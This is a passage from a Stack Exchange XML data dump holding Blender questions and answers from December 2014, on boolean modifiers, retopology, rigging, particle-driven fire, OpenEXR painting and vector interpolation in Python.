alt=&quot;Finished results!&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastEditorUserId="6385" LastEditDate="2014-12-05T01:15:58.660" LastActivityDate="2014-12-05T01:15:58.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19575" PostTypeId="1" CreationDate="2014-12-05T00:51:20.963" Score="3" ViewCount="1560" Body="&lt;p&gt;I cannot see this button anymore, even though I am in edit mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to hide or delete it accidentally? I need this button back pretty badly, since I dont want to select nearby geometry that would normally be hidden.&lt;/p&gt;&#xA;" OwnerUserId="8283" LastEditorUserId="1363" LastEditDate="2014-12-05T01:25:15.867" LastActivityDate="2015-08-26T19:33:47.833" Title="Toggle button to occlude geometry missing" Tags="&lt;selection-tools&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19576" PostTypeId="2" ParentId="19536" CreationDate="2014-12-05T01:12:03.187" Score="1" Body="&lt;p&gt;Certain things like image textures are cached after a render, so they don't have to loaded from disk if you render again. That can be disabled in the Render Properties panel(But i wouldn't recommend it unless you are really low on RAM):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E4V6H.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As previously mentioned, after a rendering, the system memory usage is definitely higher, but there is no runaway memory leaks, so you can just keep rendering again and again without having to worry about Blender running out of memory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the GPU renderer, data on the GPU RAM are freed as soon as the render is done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Free RAM is wasted RAM&quot;. As long as your system has enough RAM that it's not swapping to disk, I wouldn't worry too much about it.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-12-05T01:12:03.187" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19577" PostTypeId="2" ParentId="19575" CreationDate="2014-12-05T01:15:58.797" Score="7" Body="&lt;p&gt;Do you mean this button? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KCNoN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It only shows up when you are in Solid View or higher. If you are in wireframe mode, it will not show up because it cannot compute the occlusion.&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-12-05T01:15:58.797" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19578" PostTypeId="1" CreationDate="2014-12-05T01:37:58.673" Score="1" ViewCount="213" Body="&lt;p&gt;I'm trying to create a template for  a rubber stamp mold as in the following figure &lt;img src=&quot;https://i.stack.imgur.com/nRzEr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The idea is then to import an SVG curve which will be given a Z-dimension, and placed inside the template as in this figure: &lt;img src=&quot;https://i.stack.imgur.com/FFewZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, the SVG mesh will be subtracted from the template using a boolean modifier. However the difference modifier does not seem to work, giving the message &quot;Cannot execute boolean operation&quot;. At first I thought this might be due to conflicting normals, but I have checked this. I have also made sure there a no non-manifold faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I decided to eliminate the solids in the object one by one, and I discovered that I could delete all of the letters except &quot;INL&quot; and it still wouldn't work. &lt;img src=&quot;https://i.stack.imgur.com/w7Ole.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, once any of the remaining letters are deleted, the difference modifier works as expected. Why does it not work on all the letters together?&lt;/p&gt;&#xA;" OwnerUserId="8342" LastActivityDate="2014-12-06T04:02:44.893" Title="Why does the difference modifier not work on objects with many vertices, but will on a subset of those vertices?" Tags="&lt;modeling&gt;&lt;modifiers&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="19579" PostTypeId="2" ParentId="18481" CreationDate="2014-12-05T01:56:01.090" Score="1" Body="&lt;p&gt;Blender Cycles is decent at rendering some optical effects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of Total-Internal-Refraction simulation. This is done by placing a light source close to one end of some tubes set to a +IOR.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/h7g2R.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/1742071/StackExchange/fiberoptics.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source File for Fiber Optics&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example of (heart) shaped bokeh by placing a cutout in front of the Blender camera. (There is no lens simulation)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dYsEc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dl.dropboxusercontent.com/u/1742071/StackExchange/shapedBokeh.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;Source File for Shaped Bokeh&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="41" LastActivityDate="2014-12-05T01:56:01.090" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19580" PostTypeId="1" AcceptedAnswerId="19635" CreationDate="2014-12-05T05:37:21.950" Score="5" ViewCount="1867" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WurPu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what I have drawn in the grease pencil above is generally what I want to create with lines inside the rectangle. I want them symmetric about the Y axis (and the pattern around the x axis inside the shape as well), so obviously a lot nicer than what I've drawn, but that's the basic pattern. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will also be taking these lines and thickening them inside the shape after I've drawn the pattern and making them into meshes. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on the best way to do this? I've been experimenting with curves and linking them and whatnot, seems a little rough when I do it. Any ideas appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;***I tried uploading the .blend to pasteall.org but it said error repeatedly - definitely not too big, so don't know :(&lt;/p&gt;&#xA;" OwnerUserId="8217" LastActivityDate="2014-12-06T13:19:33.660" Title="How to draw curved symmetric lines within a shape" Tags="&lt;modeling&gt;&lt;workflow&gt;&lt;bezier-curves&gt;&lt;editing&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19581" PostTypeId="1" CreationDate="2014-12-05T06:30:34.210" Score="0" ViewCount="157" Body="&lt;p&gt;This Toyota logo is a topological mess. Initially it was just a large circle plane, extruded, with no cutouts. Then, it got messed up after using a boolean difference modifier. It actually looks better than before because I ended up deleting a lot of extra faces and filling in new ones. The main problem with this is the faces of the object which are large asymmetrical ngons.&#xA;I now assume a much better way to have done this would be with curves and knife project but am retpologizing this as a learning exercise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am pretty new to blender. I used to use it several years ago but have memory issues and am now relearning everything. This is my third model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the first step would probably be to connect the vertices of the cutout edges and dissolve non-matching vertices and edges. But I cant always do that for edges What I am trying to do with this model is chamfer the edges of the cutout areas. Is this possible even with tedious work or is it a lost cause? Also, would it have been better to keep the main two faces of the disc as a circular ngon or should I have used fill grid before applying the difference modifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The file is at &lt;a href=&quot;http://www.pasteall.org/blend/33200&quot; rel=&quot;nofollow&quot;&gt;http://www.pasteall.org/blend/33200&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8283" LastEditorUserId="8283" LastEditDate="2014-12-05T06:36:47.357" LastActivityDate="2014-12-06T01:00:10.977" Title="retopologizing large irregular ngons" Tags="&lt;topology&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19582" PostTypeId="1" CreationDate="2014-12-05T06:53:50.377" Score="2" ViewCount="1863" Body="&lt;p&gt;There is one problem, it seems that text won't appear on my program. The three images show the errors and also my laptop specs (I believe I just have very small amount of laptop power that makes Blender glitch).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything else works fine (zooming, panning, rotating, etc.) and the buttons are still there and do what they're supposed to do, but the text just won't appear.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Might anybody know how to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nhiEP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nhiEP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/d78co.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/d78co.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kv3OP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kv3OP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drive update didn't help either. I know a way around it though, does anybody know a page which shows screenshots of more or less the buttons on blender&lt;/p&gt;&#xA;" OwnerUserId="8344" LastEditorUserId="1245" LastEditDate="2018-03-20T15:28:39.943" LastActivityDate="2018-03-20T15:28:39.943" Title="Text won't appear in interface?" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" ClosedDate="2014-12-05T16:47:56.603" ContentLicense="CC BY-SA 3.0" />
  <row Id="19583" PostTypeId="2" ParentId="19581" CreationDate="2014-12-05T07:25:37.963" Score="0" Body="&lt;p&gt;I modeled a low poly logo by just extruding a plane (using the &lt;em&gt;Mirror Modifier&lt;/em&gt;) the mesh looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3RMht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to add a few additional loop cuts e.g. at the red line. When the 2D model is finished it can be extruded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I didn't refine it after adding a &lt;em&gt;Subsurf Modifier&lt;/em&gt; because it looked OK in the scene:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/a6TOe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-05T07:25:37.963" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19584" PostTypeId="2" ParentId="19582" CreationDate="2014-12-05T07:37:10.770" Score="4" Body="&lt;p&gt;Here are some more links with almost identical issue:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.elysiun.com/forum/showthread.php?334195-Blender-2-70-interface-no-text!!!!!&quot; rel=&quot;nofollow&quot;&gt;Blender Artist thread 1&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;http://blenderartists.org/forum/showthread.php?267185-Blender-interface-has-no-text-on-my-Notebook!!&quot; rel=&quot;nofollow&quot;&gt;Blender Artist thread 2&lt;/a&gt; &lt;br&gt;&#xA;&lt;a href=&quot;https://developer.blender.org/T32717&quot; rel=&quot;nofollow&quot;&gt;Blender Bug Tracker&lt;/a&gt; &lt;br&gt;&#xA;Looks like you are running blender on a potato and there is no fix. This integrated graphics card will just not do. It shares the system RAM as a video-memory and when your system uses a lot (2GB is almost nothing) there is not enough left.&lt;br&gt;&#xA;Check the minimal system specs:&#xA;&lt;a href=&quot;http://www.blender.org/download/requirements/&quot; rel=&quot;nofollow&quot;&gt;Minimal Blender Specs&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-05T07:37:10.770" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19585" PostTypeId="2" ParentId="19580" CreationDate="2014-12-05T07:42:43.120" Score="2" Body="&lt;p&gt;You could add a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Screw&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Screw Modifier&lt;/em&gt;&lt;/a&gt; to a plane. Note that the shapes diameter depends on the relative position of the center point which can be manipulated by moving the planes mesh in &lt;em&gt;Edit Mode&lt;/em&gt;. The height can be adjusted by the Screw parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/quEmv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-05T07:42:43.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19586" PostTypeId="1" AcceptedAnswerId="19590" CreationDate="2014-12-05T08:02:38.720" Score="5" ViewCount="663" Body="&lt;p&gt;I have this strip on my landscape that I want to make disappear from where the digger currently is, and then following the digger towards the end of the strip, to reveal the trench underneath.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is a good way to do this? Can I animate an object that removes the ground strip? The camera is static in this scene so I could also imagine using a mask, or doing something in the video sequence editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Cutting out my strip (knife project) messes up the connection with the rest of the landscape (they both have displacement maps). So I think I need to keep both images and animate a mask in the video sequence editor or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PJt6X.jpg&quot; alt=&quot;Scene without trench&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/b06yG.jpg&quot; alt=&quot;Scene with trench&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1390" LastEditorUserId="1390" LastEditDate="2014-12-05T08:51:42.630" LastActivityDate="2014-12-05T09:49:37.040" Title="How to animate the disappearance of a mesh" Tags="&lt;animation&gt;&lt;mesh&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19587" PostTypeId="2" ParentId="19303" CreationDate="2014-12-05T08:12:47.627" Score="3" Body="&lt;p&gt;Here is how you do it properly:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IK limits should be used only when needed. The limits on last 3 (Proximal, Middle and Distal) bones are fine.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now change the IK constraint chain length to 3, this will remove the first bone from IK chain.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7mE13.jpg&quot; alt=&quot;IK constraint settings&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead rotate the bone with constraint, here is a LockedTrack that will also constrain the Y axis so the fingers end can move up and down with the base in correct orientation. This will also solve any flipping issue.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/710Sq.jpg&quot; alt=&quot;Locked Track constraint&quot;&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to position the finger in space, do it with parenting it to a bone and then transforming that bone. Everything will keep working as expected.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RiBhf.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-05T08:12:47.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19588" PostTypeId="2" ParentId="19586" CreationDate="2014-12-05T08:30:56.897" Score="6" Body="&lt;p&gt;You could try a reversed &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Build&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Build Modifier&lt;/em&gt;&lt;/a&gt; starting with a cube which has been duplicated by an applied &lt;em&gt;Array Modifier&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kPMq2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fyomN.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could also use hide planes by the &lt;em&gt;Build Modifier&lt;/em&gt; to uncover the trench. &lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-12-05T08:30:56.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19589" PostTypeId="1" AcceptedAnswerId="19632" CreationDate="2014-12-05T08:51:49.770" Score="1" ViewCount="1124" Body="&lt;p&gt;I want to create something like a fire elemental, so I have to work a lot with the smoke simulation. In the flow objects I use FlowType: Fire. Now I've created a nice burning head, which is pretty easy, because the fire raises just straight to the top. And now I want burning arms too, but I have no idea how to give the fire the matching direction. I'm using a particle system to control the direction, but as soon as I rotate the mesh or something the particle system does not rotate with the mesh. I think the particle system is in the glocal coordinate system, but I would need it in the local coordinate system, so that it sticks with my mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I could clarify my question for you, thanks a lot for your answers.&lt;/p&gt;&#xA;" OwnerUserId="8346" LastActivityDate="2015-01-05T11:55:09.273" Title="Particle System does not stick to the mesh if the mesh is moving (global,local coordinate-system?)" Tags="&lt;particles&gt;&lt;smoke-simulation&gt;&lt;coordinates&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19590" PostTypeId="2" ParentId="19586" CreationDate="2014-12-05T09:12:28.923" Score="8" Body="&lt;p&gt;To get the cleanest result I suggest animated booleans. Since you have flat shading you wont get any shading artifacts, this is probably the textbook example for them. If you have some subsurf and displacement apply them or put the booleans after the displacement.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be 2 boolean objects.&lt;br&gt;&#xA;- First one is static and will create the hole in the ground (highlighted). Put some edgeloops in the ground object around the trench so this boolean wont segment the whole thing.&lt;br&gt;&#xA;- Second one can be just an animated cube and will intersect with first boolean object and the concrete wall inside trench. The bigger the intersection the more ground will be removed and more concrete wall will be shown.&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c8Nmc.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="7777" LastEditDate="2014-12-05T09:49:37.040" LastActivityDate="2014-12-05T09:49:37.040" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="19592" PostTypeId="2" ParentId="19589" CreationDate="2014-12-05T09:57:05.193" Score="0" Body="&lt;p&gt;I'm a bit troubled understanding your questions. For testing I just put a particle emitter on a cube and made that cube rotate. The particle system was animated with it and even the cube's rotation was added to the particle direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My guess would be that the cause of your problems lies more in the smoke / fire simulation. Have you tried animating the domain object with it (although that's probably tough regarding that you wanna animate a complete character)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry but Stack Exchange gives me a 404 when trying to edit my last answer) I tried this a bit further, so my previous answer is partly incorrect. You don't have to animate the domain. - You have a mesh with a flow (fire) inside the domain - You have a particle system on that mesh and Flow Source set to that particle system - You animate the mesh, that way animate the particles and also the fire I admit that a particle system doesn't offer too much control over the exact particle vectors. Still those can be controlled by various settings like emitter object, emitter geometry, force fields etc. You cannot really set global / local vectors for some obvious reasons, the particles should be random, they should emit from faces (thus having an orientation from the face normal, otherwise the would just go up or to the side through the mesh)&lt;/p&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="1448" LastEditDate="2014-12-05T11:37:43.790" LastActivityDate="2014-12-05T11:37:43.790" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19594" PostTypeId="1" CreationDate="2014-12-05T11:02:48.567" Score="0" ViewCount="707" Body="&lt;p&gt;Using object tools you can make selected objects to become a rigid body active, passive or  calculate the mass. But if you need more how to adjust other properties for multiple objects like &quot;enable deactivation&quot;?&lt;/p&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="1751" LastEditDate="2014-12-05T11:20:07.073" LastActivityDate="2014-12-05T11:20:07.073" Title="Adjusting rigid body properties for multiple object" Tags="&lt;rigid-body-simulation&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19595" PostTypeId="1" AcceptedAnswerId="19597" CreationDate="2014-12-05T11:04:54.670" Score="12" ViewCount="4156" Body="&lt;p&gt;How to interpolate vector between 2 vectors in blender-python?&#xA;I hope you get my question.&#xA;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EXYH0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="911" LastEditorUserId="55" LastEditDate="2014-12-05T15:39:30.240" LastActivityDate="2014-12-10T14:26:08.957" Title="How to Interpolate vectors in Python?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19596" PostTypeId="1" CreationDate="2014-12-05T11:38:05.323" Score="3" ViewCount="808" Body="&lt;p&gt;I have a loop cut(no face,vertices only) on one ngon cap of a cylinder. I would like to cut the opposing cap with this shape. I cant use mirror here because there are other shapes on the cap I dont want to copy. Is there any way to do this?&lt;/p&gt;&#xA;" OwnerUserId="8283" LastEditorUserId="55" LastEditDate="2014-12-05T15:15:09.260" LastActivityDate="2014-12-06T16:18:52.640" Title="Can you use use Loop-Cut tool with ngons?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="19597" PostTypeId="2" ParentId="19595" CreationDate="2014-12-05T11:42:35.260" Score="17" Body="&lt;p&gt;See &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/mathutils.html?highlight=mathutils.vector#mathutils.Vector&quot;&gt;mathutils.Vector&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/mathutils.html?highlight=mathutils.vector#mathutils.Vector.lerp&quot;&gt;Vector.lerp&lt;/a&gt; for linear interpolation.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_72_release/mathutils.html?highlight=mathutils.vector#mathutils.Vector.lerp&quot;&gt;Vector.slerp&lt;/a&gt; for spherical interpolation. &lt;a href=&quot;https://en.wikipedia.org/wiki/Slerp&quot;&gt;https://en.wikipedia.org/wiki/Slerp&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c = a.lerp(b, 0.0)&#xA;# c == a&#xA;c = a.lerp(b, 0.5)&#xA;# c == (a + b) / 2&#xA;c = a.lerp(b, 1.0)&#xA;# c == b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8235" LastEditorUserId="7777" LastEditDate="2014-12-10T14:26:08.957" LastActivityDate="2014-12-10T14:26:08.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="19598" PostTypeId="2" ParentId="19595" CreationDate="2014-12-05T11:52:07.770" Score="7" Body="&lt;pre&gt;&lt;code&gt;from mathutils import Vector&#xA;&#xA;v = Vector((0,1,2))&#xA;v.negate()&#xA;print(v)&#xA;# &amp;lt;Vector (-0.0000, -1.0000, -2.0000)&amp;gt;&#xA;&#xA;def interpolate(t, vector_a, vector_b):&#xA;# t is from interval &amp;lt;0, 1&amp;gt;&#xA;    return (1 - t) * vector_a + t * vector_b&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-05T11:52:07.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19599" PostTypeId="1" CreationDate="2014-12-05T12:22:14.363" Score="0" ViewCount="160" Body="&lt;p&gt;i get problems with mesh after rigging. Maybe someone can help me and tell what i do wrong. You can see details in attached image. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/paCW9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8348" LastActivityDate="2014-12-05T12:22:14.363" Title="Problem with mesh after rigging" Tags="&lt;mesh&gt;&lt;rigging&gt;" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19600" PostTypeId="1" CreationDate="2014-12-05T13:01:43.023" Score="6" ViewCount="1057" Body="&lt;p&gt;I always render my animations in OpenEXR MultiLayer format with various render passes turned on. Is there a way with Blender's integrated paint editor to paint to the render passes of such an .exr file? It seems I can only paint to the &quot;combined&quot; pass, which I am not using at all though. If I try to paint to any other render pass of the .exr file I get the error message &quot;Image requires 4 color channels to paint&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ts11L.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Purpose: Often I just have to correct few pixels in a particular pass of a rendered .exr file. I could also add a complex node network to the compositor just to correct those few pixels, but in such cases editing/painting the pixels of the respective render pass inside the affected .exr file would be much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw there is now also a plugin for Gimp, which allows to import OpenEXR files. Has somebody tried it with multi-pass .exr files? Does the Gimp plugin work reliably without screwing something? Because I still need it to be in multi-layer .exr format after editing for the subsequent compositor stage.&lt;/p&gt;&#xA;" OwnerUserId="8349" LastEditorUserId="8349" LastEditDate="2014-12-05T15:20:14.647" LastActivityDate="2014-12-08T10:24:11.010" Title="Painting on OpenEXR MultiLayer images" Tags="&lt;compositor&gt;&lt;editing&gt;&lt;image&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19601" PostTypeId="2" ParentId="19596" CreationDate="2014-12-05T13:57:31.127" Score="6" Body="&lt;p&gt;Loop cut intentionally only cuts quads.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To cut across ngons you can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Use the knife tool to cut up the face how you like.&lt;/li&gt;&#xA;&lt;li&gt;Select 2 vertices and run join (Jkey).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, we have support for ths in the code, but after discussion with users, disabled it - see &lt;code&gt;BMW_EDGERING_NGON&lt;/code&gt;&lt;/em&gt;&#xA;See:&#xA;&lt;a href=&quot;http://lists.blender.org/pipermail/bf-blender-cvs/2012-March/043815.html&quot; rel=&quot;nofollow&quot;&gt;http://lists.blender.org/pipermail/bf-blender-cvs/2012-March/043815.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2014-12-05T22:50:46.783" LastActivityDate="2014-12-05T22:50:46.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19602" PostTypeId="1" AcceptedAnswerId="19604" CreationDate="2014-12-05T14:34:34.523" Score="3" ViewCount="1427" Body="&lt;p&gt;When I try to use the &quot;set inverse&quot; operator in python there comes an error that it missed a context called &quot;constraint&quot;. But I did it exactly like in the Info Panel.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.constraint.childof_set_inverse(constraint=&quot;Child Of&quot;, owner='BONE')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Name of the constraint is correct and the also the owner &lt;/p&gt;&#xA;" OwnerUserId="5885" LastEditorUserId="7777" LastEditDate="2014-12-05T15:35:53.427" LastActivityDate="2018-11-14T07:20:37.870" Title="Child Of Constraint Set Inverse with Python" Tags="&lt;python&gt;&lt;rigging&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
